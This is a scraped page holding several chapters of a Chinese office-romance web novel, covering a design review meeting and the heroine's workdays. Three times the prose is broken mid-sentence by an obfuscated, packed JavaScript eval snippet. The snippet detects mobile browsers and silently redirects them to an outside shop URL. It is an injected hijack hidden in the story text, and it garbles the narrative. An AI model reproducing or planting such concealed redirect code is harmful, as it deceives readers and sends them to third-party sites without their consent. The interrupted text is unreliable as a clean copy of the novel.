$(''#content'').append('' 管。 手机被随手丢在靠垫里,半个边角露在外面。 周日的空气慢慢热起来。 她把水喝完,去厨房把昨晚的杯子冲了一下,水流哗啦啦地响。顺手把灶台上散落的勺子摆回去,又把桌面上那两张便利贴叠好压在杯垫下。 客厅重新安静下来。 电脑还亮着,文档停在她刚刚改过的那一行。 手机忽然在沙发上震了一下。 不是提示音,是那种略微长一点的震动。 林黎转头看了一眼。 手机被半埋在靠垫里,屏幕的光透出来一小块。 她没急着过去,先把杯子放回桌上。 这才走过去,把手机从缝隙里抽出来。 屏幕亮着。 【盈利模型更新中】 “更新?”语气中带着点疑问。 页面自动往下滑。 【检测到结构顺序变动】 【样本重构中】 进度条没动。 状态栏从“暂缓”变成了“重算”。 她盯着“重算”两个字看了一会儿。 用拇指在屏幕边缘轻轻滑了一下,又退回主界面,再点进来。 轻轻点了点屏幕。 “行吧。” 把手机放在茶几边缘,屏幕朝下。 人往后一倒,靠在沙发上。 客厅安静下来。 窗外有车经过的声音,远远的,像是从别的世界飘过来。 林黎盯着天花板看了一会儿。 上面有一小块淡淡的阴影,是昨晚开灯留下的光痕。她伸手比了一下,像是在量那块影子有多大。 “今天干嘛呢……” 声音懒懒的。 她侧过身,脸埋进抱枕里,又翻回来。 茶几下面压着一本没看完的书。封面边角有点卷,她弯腰把它抽出来。 翻了两页。 没看进去。 又合上。 “算了。” 她选择起身去厨房找点吃的。 冰箱打开的那一下,冷气扑出来。里面还有半盒草莓,昨天买的。她拿出来,在水龙头下冲了冲,水珠顺着手指滑下来。 第一颗咬下去的时候,没忍住眯了下眼。 有点酸。 林黎就这样站在厨房门口,一边吃一边扫视了一圈客厅。 阳光已经移到沙发边缘,地板上有一道清晰的光线,像是谁拿尺子画出来的。 她眯了眯眼,用脚把那道光踩住,又抬脚挪开。 “嗯。” 草莓第二颗咬下去的时候没那么酸了。 她忽然想起什么,转身走回卧室,把窗帘彻底拉开。 布料被拉开的一瞬间,灰尘在光里飘浮。 光一下子铺满房间。 床单上压出的折痕清晰,被子随意搭在一边。 林黎站在那儿看了一会儿,手指无意识捏着草莓蒂。 有点犹豫,她真的有点想倒回去再睡会。 反正周末就是用来浪费的。 但最后还是叹了口气,算了。 一觉睡过去醒来又是傍晚了。 她走回客厅。 蹲下来,把地上的毯子叠好。 毯子角有点卷,她拍了拍,又对齐了一下边线。 动作慢悠悠的。 茶几上有一只空杯子。 林黎顺手把它挪到靠近厨房那边。 手机安静地躺在桌上。 屏幕朝下。 她瞥了一眼,没有去碰。 草莓吃到最后一颗时,她把叶子全堆在手心里,走去厨房扔掉。 洗手的时候,水温有点凉。 她把水调热了一点,手指在水下停了几秒。 洗完回来,她又回沙发上坐下。 先把脚盘起来,又觉得姿势不舒服,换成侧坐。 电视打开的时候,随便点开一个综艺。 声音调得很小。 主持人刚说了两句,现场笑声炸开。 林黎慢半拍才反应过来,也跟着笑了一下。 阳光开始往地板中间挪。 她把脚伸出去,用脚尖对着那道光晃了一下。 然后又缩回来。 整个人躺得很舒服。 —— 另一端。 阳光已经从窗边移到书房地板中央,落在深色木地板上,切成一块规整的矩形。 季忻州把杯子放回桌角,杯中只剩下浅浅一圈痕迹。 中央空调正常运转,风带过来时书桌上的纸页被掀起一个小角,又慢慢落下。 电脑没关。 共享文档还停在屏幕上。 光标落在那一行。 停顿。 又移开。 他没有多做补充,也没有删改。 将文件另存了一份。 屏幕暗了一下。 他抬手摘下眼镜,镜腿折起,放在键盘旁。指腹在眉骨处按捏了两下后,拿起旁边的手机,直接拨通了一个号码。 电话接通得很快。 “周一上午的会议,”他语气平静,“议程顺序调一下。” 7. 007 周一早上十点二十七分。 电梯门“叮”地一声打开,冷气顺着门缝扑出来,带着点干燥的木质香味。有人下意识缩了下脖子,抬脚走出去时,才发现这一层楼安静得有点不太对劲。 平时这个时间,茶水间那边总能听见谁在抱怨周末没玩够,打印机已经开始连轴转。走廊上偶尔还有人抱着包小跑到工位,试图掩盖自己迟到的事实。 但今天什么都没有。 大部分人已经到了工位,却没有像往常那样串门。有人站起来又坐回去,像是忘了自己本来要干什么。 键盘声是零碎的,一下,两下,又停住。打印机吐出几页纸,很快被人抽走,连翻页的声音都被刻意压低。 有人把椅子往里推时,轮子“吱”了一声,自己都吓了一跳,下意识看了眼会议室的方向。 这一层从来不缺热闹,但今天像是被谁调低了音量。不是没人说话,是每个人都在控制自己发出的动静。 茶水间里窝着两个人,杯子握在手里,却没有立刻往外走。里面的灯亮着,咖啡机还在工作。 “来了?”其中一个压低声音。 “嗯,总部的。” “哪条线?” 对方顿了一下,目光往会议室方向扫了一眼。 “流程。” 这两个字落下来,空气明显紧了一下。 那人又吸了口气,补了一句:“风险控制那边的。” 咖啡机恰好“滴”地一声响起,制作完成。机器里蒸汽还在持续往外冒,水珠顺着金属口往下滑,却没人在意。 “抽检?”另一个人问。 “八成。” 两人对视一秒,默契把话咽了回去。谁都没再往下说,但那种“别被点名”的情绪已经从茶水间里往外扩散开来。 其中一人终于推门出去,动作比平时轻得多,连关门都留了一条缝。 — 会议室的门虚掩着,灯光从缝隙里漏出来,比走廊亮一些。 那种偏白的灯光在地面上铺开,和走廊里略微发黄的暖光色调形成轻微落差。 江奇站在门口时,下意识整理了一下手里的资料。其实没什么好整理的,页码早就对过一遍,但他还是借动作把手心的汗往袖口擦了擦。 推门进去,光线一下子铺开。 总部的人已经坐在长桌一侧。文件摆得整齐,笔横放在资料中央。没有手机亮屏,也没有随意后仰的椅背。 空气里有一种提前准备好的安静。 坐在最靠近屏幕位置的女人正在翻页。 西装外套搭在椅背上,袖口卷到腕骨上方,动作不急不慢。她翻到某一页时停住,指尖落在一行小字上,像是在确认什么。旁边的人低声问了一句,她抬头,看过去,轻轻应了一声,视线又落回纸面。 副总监走在前面,先打了个招呼。 “纪总。” 她抬眼,点了下头。 “嗯。” 没有多余寒暄。 江奇跟着团队在靠后的座位坐下,掀开电脑。屏幕亮起,蓝光落在镜面上。 旁边的人轻轻拉开椅子,有人压低声音确认接口是否正常,那些细小的声响在会议室里显得格外清晰。 没一会,走廊那头传来脚步声。 门被推开,前台侧身让出位置,“季总,会议室在这边。” “好,谢谢。” 季忻州走进来,手里只拿着一份文件。他的目光在室内扫了一圈,落在长桌一侧。 “纪总。” 纪书宁闻言抬头。 “季总。” 两个人的视线短暂交汇。 会议室里原本零散的声响在那一刻慢慢收住。 前台还没完全退开,门再次被推开了一点,林黎紧跟着从后面走进来。 她手里抱着电脑,没有多余动作。进门时顺手把门带上,动作很轻。 纪书宁看过去一眼。 季忻州在主位落座,翻开文件。 “设计改版部分由林黎负责。”他补充,“放在第一段。” 语气没有强调,只是确认顺序。 纪书宁点了下头。 “可以。” 林黎已经走到自己的位置。 她坐下,电脑放在桌面中央,插上连接线。屏幕亮起,手指已经在触控板上滑动。 会议正式进入议程时,屏幕已经停在改版前后的对比页。 她没有急着讲。 先把页面缩小一点,又重新放大,在正式开始前先找一个双方都舒服的比例。 “这样看着不累。”她随口补充。 会议室有几个人下意识往前倾了倾。 她把两版页面放在一起,抬头时语气自然:“旧版本是四层信息结构。” 光标随着话语挪动,“新版本压到两层。” 旧版本的一段灰色小字被点开放大,“这里在第二步提示风险,第三步又提醒一次。” 她往下滑了一点,“再往后还有一次。” “我们有点太不放心用户了。” 会议室里有人抬头,纪书宁闻言也看着她。 “你删掉了这些解释。” “嗯。”林黎点头,“不是因为它们错,是因为它们太多。” 她把鼠标往旁边一移。 “你们可以试着读一遍,第三步会有一点‘被拦住’的感觉。” 江奇下意识点了下头。 纪书宁问:“删掉解释,会不会增加误操作?” 林黎想了想。 “可能会。”她承认,““但现在的数据更明显的问题是——大家在前几步停太久。” 她把埋点数据调出来,“停顿时间比我们预期多了一倍。” “不是因为看不懂,是因为犹豫要想很久。” “设计不用给人讲道理,让人不用想太多就够了。” 会议室里静了一秒。 纪书宁语气依旧平直:“你在替用户做决定。” 林黎闻言笑了一下。 “系统本来就比用户知道得多。”她补充,“如果我们已经有判断,还让对方再确认一次,其实是在推责任。” 她抬头看了一眼长桌那头。 “我不太喜欢推责任。” 空气轻轻动了一下。 纪书宁问:“如果判断失误?” 林黎耸了耸肩,“那我们改。” 语气很自然。 “比起让几千个人多走一步,我更愿意我们自己多改几次。” 会议室里有人轻轻笑了一下,又迅速收住。 纪书宁继续问:“团队如何复制你的判断?” 这次林黎没有马上回答,而是先把结构图调出来。 “我没凭感觉删。”她说,“就两个问题——这个信息是不是必须?这条路径是不是重复?” 她指了一下其中一条分支。 “如果答案都是‘是’,那就留着。如果有一个是‘不是’,就合并。” “说复杂也复杂,说简单也简单。” 会议室的气氛慢慢松下来。 纪书宁靠回椅背。 “设计是替人减负,还是替人决定?” 林黎看着屏幕。 “先减负。” 停了一下。 “必要的时候,替对方决定。” 纪书宁没有说话。 她把笔横在资料中央,视线越过屏幕,落在林黎身上。 “如果这套删减逻辑被放进其他项目,判断失误,你承担吗?” 会议室里的空气被轻轻压了一下。 没有人再翻资料,连椅背的细小摩擦声都停住了。 林黎没有立刻接话。 她把页面切回第一页,对比图重新铺满投影幕布,光标停在两条路径交叉的地方。 “删减不是模板。”语气依旧平稳,“逻辑可以共享,判断不行。” 她往后翻了一页,开口:“信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242861|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是否必要,路径是否重复。” “我不会建议所有项目都删。”接着补了一句,“但我建议每个项目都先问这两个问题。如果负责人自己都说不清楚,那就别动。” 纪书宁静静听完,笔尖在纸面上轻轻敲了一下。 “判断标准由谁确认?” “结果。” 林黎继续说明,语气没有起伏,“删减是对结果负责,不是对过程负责。” “下周总部有一次流程复盘。”纪书宁放下手中的笔,“这套判断逻辑,你现场讲。” 这句话落下来时,会议室里有极轻微的动静,有人抬头,又很快低下去。 林黎没有表现出意外。 她看向对方,“请问时间?” “下周一。” 她点头,“好。” 纪书宁翻过这页资料,语气淡淡的:“逻辑写清楚。” “好的。” — 会议议程继续往后翻,屏幕上的内容回到常规的进度确认和资源分配。 内容变得规整,提问也收敛很多。刚才那种锋利的拉扯像被折叠进资料夹里,剩下的事项一条条过完,结束时间比预想提前了十分钟。 “今天就到这里。”纪书宁合上资料。 椅子被轻轻推开,文件夹合拢的声音陆续响起。有人低声交换意见,有人把笔塞回内袋,会议室里那股绷着的气压慢慢散开。 纪书宁站起身,没有立即离开。 她走到季忻州旁,声音不高,两个人之间的距离刚好进行交谈。 “复盘会我来安排。”她说。 季忻州点头,“好。” “逻辑部分,提前一天给我。”她视线落在桌面上,“我需要拆结构。” 对方语气平稳:“明天晚点发你。” “嗯。”她停了一瞬,“统一不是收紧。” “知道。” 纪书宁没有再展开。 只是补了一句:“变量要留意。” 话落,她示意身后的人收资料,动作利落,没有多余停顿。 走到门边时,像是顺着会议室的动线自然扫了一眼,目光掠过长桌,最后在林黎那边停了一瞬。 门被推开。 总部一行人陆续离开,脚步声在走廊里渐渐拉远。 直到这时,会议室里那股绷着的气压才真正松下来。 江奇绕过椅背凑过来,压低声音:“你刚才——” 林黎刚把电脑合上,低头试着把充电线绕成一个规整的圆。线太长,折了两次还是歪,她索性松开,又重新开始。 “删减不是为了耍帅,”语气很随意,“只是懒得绕弯。” 江奇愣了一下,没忍住笑出声,又赶紧压住,左右看了看,小声道:“你是真敢。” “这有什么敢不敢。”她把线拉直,重新对齐,“兜兜转转,最后也是要回来。” 江奇还想说什么,却看见主位那边有人往这边看过来,立刻收住,装作若无其事地退回自己的位置。 季忻州已经从主位走下来。 他绕过长桌,在她身侧停了一下。会议室里人还没散干净,明里暗里地观察着这一小块空间。 “周三的行程我发你。跟我一起,提前半小时到。” 林黎抬眼,“好的。” “材料带齐,复盘会拆得很细。” “收到。” 他点了下头,转身离开前,目光在她手边形状奇异的充电线停了一秒。顿了顿,没再多说,径直走出会议室。 林黎直接把线压进包里,转身时正好对上江奇的视线。 他站在不远处,扬了扬眉。 “走?”她问。 “嗯。”江奇慢半拍点头,又压低声音补了一句,“总部复盘可不常带设计。” 林黎把包背好,语气平淡:“那正好去看看。” 说完,她先一步走出会议室。 江奇在原地慢了一拍,才反应过来跟上。 8. 008 会议室的门彻底合上,走廊里的空气像被人轻轻调回了正常流速。刚才那种刻意压低的键盘声慢慢恢复节奏,打印机重新“哗啦”地吐纸,茶水间那头有人结伴约着去接水,声音不再小心翼翼。 整层楼像是恢复了正常音量,重新开始运转。 林黎把电脑放回工位,椅子往后滑了半步,又慢慢蹬回来。她盯着桌面看了一眼,先把键盘推正,再把刚才胡乱塞回包里的充电线掏出来。 黑色的线缠成一团,绕得不算紧,却怎么看都不顺眼。 她没有去想其它,只是认真地拆开线团。线头被拉直,绕过掌心,再一点点理顺。等插头重新插紧电源,才慢吞吞掀开电脑屏幕。 “林黎——”隔壁有人探头,语气里带着压不住的八卦,“你刚才在里面是不是又说了什么?” 她抬头看过去,“又是什么意思?” “不是不是。”对方压低声音往她那边凑了凑,“隔壁组那几个人回来后脸色挺复杂的,看你的眼神好复杂。你干嘛了?” 林黎慢吞吞把文件拖进文件夹,闻言笑了下:“我能干嘛。”顿了一下,又补充,“就说了点该删就删之类的。” 对方一愣,“删什么?” “嗯。”她点点头,“有些东西两三页讲不清楚,不如删了。” 隔壁同事张了张嘴,还没来得及继续追问,江奇从另一侧绕过来,靠在隔板上,一副“让我来说”的表情。 “你别听她现在说的轻描淡写。”江奇压低声音,“刚刚总部过来的头问‘你承担吗’,我在后面瞬间汗都出来了,她跟没事人似的。” “你别乱给我加戏。”林黎头又低下去了,看不清表情。 “我加戏?”江奇不服,“你知不知道那位什么背景?毕竟也是个总,总部那边流程她基本就是说一不二。听说之前有个大项目就因为一条细节注释没标清楚,直接被她当场打回,一整个组全部白干。” 隔壁同事倒吸一口气,“真的假的?” “应该是真的。”江奇点头,“所以我刚刚真的要吓没了,怕咱们项目直接黄了。” 林黎终于抬起头,看了他一眼,语气带点无奈:“又在传谣了,哪有那么夸张。” “我那是团队精神,替你操心。”江奇反驳。 “你那是闲操心。”林黎顺手把充电线往桌边理整齐,“她问得也正常,删减逻辑本来就要讲清楚承担边界。问一句‘你承担吗’,也只是确认。 她停了一下,“再说,项目才刚起步,更何况今天算突袭,季总也不至于不讲道理。” 隔壁同事闻言眨眨眼,“你怎么讲得像在替她说话?” 林黎想了想,纠正道:“我只是觉得,问问题的人比不问还在背后挑刺的人好。” 这句话她说得不重,却带着一点不经意的认真。说完便低头去调文件页面,光标在屏幕上跳动,像刚才会议室里那点拉扯不过是流程的一部分,而不是情绪。 江奇盯着他看了一会儿,忽然笑了一下,“行吧,反正下周一的复盘还有时间,我先帮你把数据那块再过一遍。” “别。”林黎抬手摆了摆,动作不大,“先帮我订份饭吧。工作可以晚点再说,填饱肚子要紧。” 顿了顿,很自然地补一句:“黄焖鸡,加蔬菜。” 江奇还能说什么,“没问题,先给咱们小林总订一份香喷喷的黄焖鸡套餐。” 旁边已经有人笑起来,“那我也跟一份。” 办公室的气氛彻底松开了。 江奇低头在群里点单,贴心问:“加辣吗?” “微辣。”林黎回答得很快,对这种选择题毫无犹豫。 手机在桌角轻震了一下,她随手点开。 【稿件明天19点】 指尖停了半秒。 她没说话,将手机扣在桌面上,重新看向屏幕,光标还停在[删减逻辑-初稿]那一行。 盯着几个字看了一会,自顾自嘀咕了一句:“一个要过程,一个要结果,我夹在中间要命。” 江奇在旁边没听清,“什么?” “没事。”林黎敲了两下键盘,“我说今天早点走。” “你?早走?”江奇笑出声,“总部刚走你就准备摆烂?” “摆什么烂。”她头也没抬,“效率高的人才配早点走。” 对方闻言“啧”了一声,“行行行,小林总就是自信。” 她没接话,光标在文档里跳动。页面一行行往下延伸,结构图被拆成更清晰的两段,她习惯性地把层级再往里推了一层,又删掉一个多余的箭头。 — 饭到了的时候,办公室已经完全回到日常节奏。外卖袋被堆在旁边的桌子上,香味一点点散开。 林黎拆开黄焖鸡的盒子,蒸汽喷出来,她顺手把盖子压在一旁,筷子戳进去,先吃了一口白米饭。 吃饭间隙,她还是看着屏幕。 江奇在旁边咬着鸡块含糊地说:“你别一边吃一边工作,容易消化不良。” “凉了就当凉菜。”她头也没抬,“胃又不看温度,只看有没有。” “……?” “而且我现在优先级是脑子。”她戳了一块土豆,“脑子转不动,胃也会抗议。你看,闭环。” 江奇被她逗乐,“行行行,闭环女士。” 林黎嘴上接得快,手却已经停了半天。屏幕上那几行提纲被她来回拉了一遍,忽然想起那份外快稿,改动标注还没清干净,客户昨晚还加了一条“最好再详细一点”。 她叹了口气,“我今天真得早点走。” 江奇抬头,“干嘛?约会?” “约甲方。”她面无表情,“如果线上改稿也算约会的话。” “你还有别的活?”江奇这才反应过来。 “嗯。”她把筷子往盒子边一搁,“接了个外快。” 对方顿了下,“缺钱啊?” 她想了想,很认真地说:“也不算缺,就是不太喜欢银行卡余额太久没动静。” “……”江奇愣了两秒,“你这是什么强迫症?” “余额太安静我会焦虑。”她一本正经,“像项目上线没日志。” 这话说完自己都笑了一下,继续低头扒饭。 江奇摇摇头,“行吧,那你早点走。项目这边我盯着,今天也没什么事。” “谢了。”她抬手比了个很随意的OK,“等我翻身请你吃加量版黄焖鸡。” “你先翻过今晚再说。” “翻得过。”她说得很轻松,“翻不过大不了重开。” — 傍晚的办公大楼灯一盏盏亮起来,天色却比想象中暗得快。玻璃幕墙外,晚霞被压成一层偏暗的橙色,楼群的影子拖得很长。 电梯口排起了队,有人低头刷手机,有人抱怨晚高峰地铁挤成沙丁鱼罐头。 林黎把电脑收进包里,拉链合上的声音清脆。动作比平时快一点,但不算慌张。 她低头看了一眼时间。 时间还早。 走前,她顺手把桌面清了一下,把垃圾装进袋子里,起身时肩膀微不可察地塌了一瞬。那一下很短,很快又挺直了腰背。 走廊里人生杂乱,林黎夹在队伍里往电梯走。有人讨论晚饭去哪里吃,有人吐槽甲方临时改需求。她很安静, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242862|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光落在电梯上方跳动的数字。 电梯门打开又合上,人群一拨一拨被吞进去。 她等了第二趟。 与此同时,走廊另一侧的小会议室门被推开。 季忻州出来的时候,手里还拿着几页刚打印好的材料。视线顺着走廊扫过去,在电梯口的人群停了片刻。 林黎站在靠墙的位置,背包单肩挂着,另一只手插在外套口袋里。她没有低头刷手机,只是安静地看着电梯上方跳动的数字。早上那种说话时带着锋利边角的神情不见了,整个人像是没电了。 他原本已经往前走了两步,又慢下来。 电梯门再次打开,人群往前挪动。她跟着队伍进去,没有注意其他。门关上,显示屏上的数字开始往下跳。 手机在口袋里轻轻震了一下。 【记录:负荷上升】 【当前状态:并行任务】 林黎掏出来扫了一眼,没在意,重新塞回去。 走廊那头,季忻州收回视线,低头把材料重新理整齐。 等电梯数字跳到一楼,他才收回目光,转身往办公区走。 — 夜色落下来得很快。 林黎回到家的时候,楼里住户的灯光已经亮了起来。电梯门“叮”地开合,她掏钥匙的时候在包里翻了一会,手还带着凉意。 屋里没开灯。 她摸到墙上的开关,客厅亮起暖黄色的顶灯。鞋随意脱在玄关门口,包也被丢在沙发上,发出闷闷一声。 书桌上的台式机安静地亮着待机灯,她弯腰按下电源键。 主机轻轻“嗡”了一声,屏幕亮起启动画面。与此同时,她把笔记本从包里抽出来,放在桌面右侧。 两个屏幕上各躺着一个文件。 林黎盯着两个文件名看了两秒,轻轻“啧”了一声。 “排队来吧。” 光标最后还是落在了外快那一份上。 需求备注被她重新拉出来看了一遍,客户昨晚加的那条“建议再细化一下流程描述”在屏幕上格外显眼。 她揉了揉太阳穴,把那一段往下挪了一点,又重新写了一份过渡。 改动记录一条条往下消失。 中途她去厨房接了杯水,回来时顺手把客厅的灯调暗了一格。桌上的手机屏幕偶尔亮一下,是群消息,她也没管。 九点零五分。 她删掉一句话,又撤回。觉得不顺,还是删减了。 九点四十。 起身活动了一下肩膀,把窗户推开一点。室外的风给屋里带进来一点凉意,楼下有人在闲聊,声音断断续续传上来。 十点二十。 她把流程那一段重新排了一版,将几个小点合成一个,又把其中一个拆开细分。鼠标拖动时发出细微的“沙沙”声,数位笔也在板子上不断滑动。 屏幕光映在脸上,她眯了一下眼,继续工作。 十点四十五。 她把最后一行字敲完,停住。 光标在段尾闪着,没有再往下跳。 林黎把页面从头往下滚了一遍。遇到不顺的地方停一下,又往回拉两行,改一个词,再放回去。改动记录干干净净,没有红色标注残留。 再把文件保存,拖进邮件附件。 她盯着“发送”按钮两秒,按下去。 ——发送成功。 时间22:56。 她靠回椅背,闭了闭眼,房间里只有主机风扇的低声运转。 手机在桌边轻轻震动。 【记录更新】 【当前并行任务完成一项】 【负荷状态:下降】 9. 009 季忻州醒来时,闹钟还没响。 卧室的窗帘拉着一半,清晨的光从高层落地窗外斜斜铺进来,在地板上铺开一条淡淡的灰。空间几乎没有声音,中央空调维持着恒定温度,空气净化器在角落里极轻地切换了一次模式,随后又归于宁静。 他在床边坐了几秒,伸手摸到手机。 屏幕亮起——06:35。 远处的楼群像一整块灰蓝色的轮廓,天色慢慢变亮,城市还没真正苏醒。 未读邮件有几封,季忻州扫了一眼,没有点开。 手机被重新放回床头,起身走进洗漱间。 水流从指缝间滑下去,温度适中,能把残余的睡意一点点带走。镜子里的他与工作状态相差许多,额发垂在眉骨上,不似平日打理过的样子。轮廓显出几分柔和,没有会议桌上锋利的压迫感,很日常的样子。 柔软带着温热的毛巾盖在脸上,恍惚间听到一声叹气。 书房开放式式的房间干净简洁。玻璃隔断通透,长桌上两台显示器与笔记本并排,文件整齐叠在右侧,边缘整齐。桌面看不到多余的线缆,电源连接线也一同被收进桌下的隐蔽槽中。 季忻州掀开笔记本,屏幕几乎瞬时亮起,外接显示器随即同步。 共享文档自动跳到目录页。 昨晚的顺序就停在那儿——流程、数据、删减逻辑,最后再补充问题。 完整,但仍有欠缺。 季忻州盯着那一行标题看了片刻,手指落在触控板上,光标停在[删减逻辑与判断边界]上方,滑开,又滑回去。 这不是内容的问题,是落点的问题。 他不喜欢把关键判断放在最后。那样的顺序意味着讨论可以被消耗,可以被拖延,甚至可以被情绪覆盖。 纪书宁那句“逻辑写清楚”,看似是提醒,落在他这里更像是一个明确的信号—— 既然要写清楚,就不要把它藏在后面。 林黎昨天那一段讲得够明白。 她有判断,也有分寸。但她未必会主动把自己放在第一位。 光标往上拖。 [删减逻辑与判断边界]被提到最前。 流程数据顺势后移,层级重新排列。原本留出来的缓冲说明被他删掉两行,直切要点。 页面一下子干净了,几乎没留多少余地。 逻辑线条清晰、直白,没有过渡。 季忻州靠回椅背,从头到尾过了一遍。 总部复盘,不该从细节开始。 要先定框架。 鼠标移到标题末尾。 他删掉了几个字,停了一秒,又敲了回去。 保存。 共享。 权限设置里,他没有选择直接抄送给林黎。而是将她的访问级别从“可见”改成“可编辑”,又勾选了“可建议”。 没有附加解释说明,只是把一把钥匙放到桌上,不推到对方手里,也不刻意藏起来。 合上电脑之前,季忻州看了一眼时间。 07:35。 他走到厨房倒水,落地窗外的光线已经完全铺开,玻璃上映出他半截身影。 楼下草坪边,有人牵着狗慢慢绕过花坛,整座城市正从清晨的灰色里一点点醒过来。 季忻州站在窗边,手机在掌心翻了一下。 想了想,发出一条消息。 — 林黎的手机在枕边震了一下。 她没有睁眼。 那一下震动像一颗石子丢进水里,波纹很小,却足够把她从睡眠边缘推出来。她皱了皱眉,翻了个身,脸埋在枕头里,试图把自己再塞回梦里去。 几秒后,林黎睁开眼。 视线还没完全对上焦点,天花板看起来有些发白。 她摸到手机,屏幕亮起。 07:45。 通知横幅挂在屏幕上方。 大大一个季字头像。 还没彻底清醒的大脑自动进入一种“先假装没看见”的模式。眼睛重新闭上,没一会儿,又睁开。 脑子试图启动。 ……启动到一半,加载失败。 她坐起来一点,头发散乱,整个人几乎裹在被子里。 季忻州:【我把复盘顺序调了一版。】 季忻州:【删减逻辑提前,开场你来。】 困意瞬间散了一半。 林黎盯着两行字看了一会儿,来回读了两遍才意识到要读懂意思。眼睛还带着刚醒的迟钝,但却记得不能点进对话框,这样就不会显示已读。 往后一靠,伸了个懒腰,含糊念叨了一句:“这么早是要卷谁啊……” 声音沙哑,带着点起床的怨气。 昨晚她睡得属实不算早,完成了外快稿件后又翻了几页工作材料,脑子一直转到将近12点才停下来。现在不到八点,她铁定没睡够8个小时,梦都没做完整。 索性直接把手机往被子上一扔,重新躺平。 “上班再说。” 话虽这么说,眼睛是闭上了,脑子却转起来了。 总部复盘…… 提前…… 开场…… 林黎翻了个身,把脸压进枕头里,闷声叹了口气。 “烦死了。” 手机又亮了一下。 【关键路径发生变动】 【来源:外部】 她眯着眼看了一眼,没懂,也不想管。 “等着。” 眼不见为净,她直接把手机扣过来,屏幕贴在床上,世界短暂安静了几秒。 不到十秒,脑子还是不争气地转起来。 如果提到最前,后面的数据要不要换顺序?解释是不是得再压短一点?昨晚她其实已经留了几句缓冲,给别人一个台阶。一点不留属实有点强人所难,总有人不爱动脑子,上来就开大,讨论会直接跑偏。 林黎睁开眼,盯着天花板。 “啧。” 行吧。 她坐起身,抓了抓头发,拖着步子去洗漱。 水声响起,镜子里的她头发散着,眼神还带着没醒透的迷蒙。挤牙膏的时候,还是忍不住偷偷骂两句扰人清梦的人。 牙刷被塞进嘴里,腮帮鼓起。 ‘我们删减的不是步骤,是重复。’ “滋滋——” ‘该留的留,没必要的可以适当删减。’ “滋滋——” 她忽然停住。 嘴里全是泡沫,眼睛却慢慢亮了起来。 脑子里那句话慢慢成型。 ——“删减不是省事,是把判断提前。” 林黎含着牙刷对着镜子重复,发音含糊,却越说越顺。 镜子里那个先前睡眼惺忪的人慢慢有了精神,握着牙刷点头。 她吐掉泡沫,漱口,低头洗脸的时候忍不住笑了一下。 等擦干脸,涂上面霜,动作已经比刚起床时利落许多。 她没在浴室多停留,几步走回卧室床边,拿起被面上的手机。 没有立刻回消息。 先打开备忘录,把刚刚那句“把判断提前”敲进去。 保存。 — 出门的时候,电梯镜面里映出林黎收拾整齐后的样子。头发扎起,妆很淡,神情已经恢复到平日那种冷静的模样,只有眼下还带着一点没睡够的痕迹。 电梯缓缓下行,数字一层层往下跳。 她站在角落里,眼睛有些虚焦。昨晚的稿子发出去,今天讨论复盘,节奏比她预想得快一点,但也还好。 楼门一开,热气扑面而来。 晚夏的早晨没有真正的凉意。空气是温热的,带着一点黏。阳光已经铺满小区的空地,树影被拉得很长。她走出去,肩上的包带往上拉了拉,步子不急不慢。 再出现时,已经是公司楼下。 玻璃幕墙映着天空,楼前的树叶被晒得有些发蔫。上班的人陆续往大楼里走,步子都带着一点赶时间的节奏。她却在门口拐了个弯,径直走向旁边的咖啡店。 木门被推开时带着一声清脆的铃响,冷气扑出来,裹着咖啡豆烘焙后的香味,瞬间把外面的热气隔在门外。 林黎轻轻松了口气。 店里刚过早高峰,排队的人不多。她站在队尾,手臂自然垂着,看着柜台后面的人忙碌。玻璃橱窗里摆着几款刚出的甜品,水果点缀得精巧,她稍微扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242863|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一眼,没有兴趣,视线又落回菜单。 “早啊。”抬头的店员认出她,笑着打招呼。 “早。”林黎也笑,“冰拿铁一杯,不加糖。” 顿了顿,又补了一句:“再加一份浓缩。” 店员抬了抬眉,明显愣了一下,随即露出“懂了”的笑。 “今天不轻松啊。” “嗯。”林黎耸了耸肩,“有场硬仗要打。” “那给你多续一会。”对方低头操作,语气带着点女孩子之间心照不宣的松快。 林黎往旁边挪了一步,手机随意握在手里。窗外的光透过玻璃落在地板上,咖啡机蒸汽声低低地响着,磨豆机短促地转动,空气里升起一点焦香味。 她侧头,看向窗外。 人群在玻璃的反射层里一层叠着一层。 然后,她在反射里看到一个熟悉的身影。 还没来得及确认,门又被推开。 铃声清脆。 季忻州走了进来。 他像是刚从公司下来,没穿外套,袖口卷到手腕。目光径直扫向收银台,很快落在她身上。 林黎侧身,正好对上他的视线。 两个人愣了一下。 没有会议桌,没有投影电视,也没有人群。 只有冷气、咖啡香,和操作间内隐隐传来的烘焙面包的香味。 他往前走了两步。 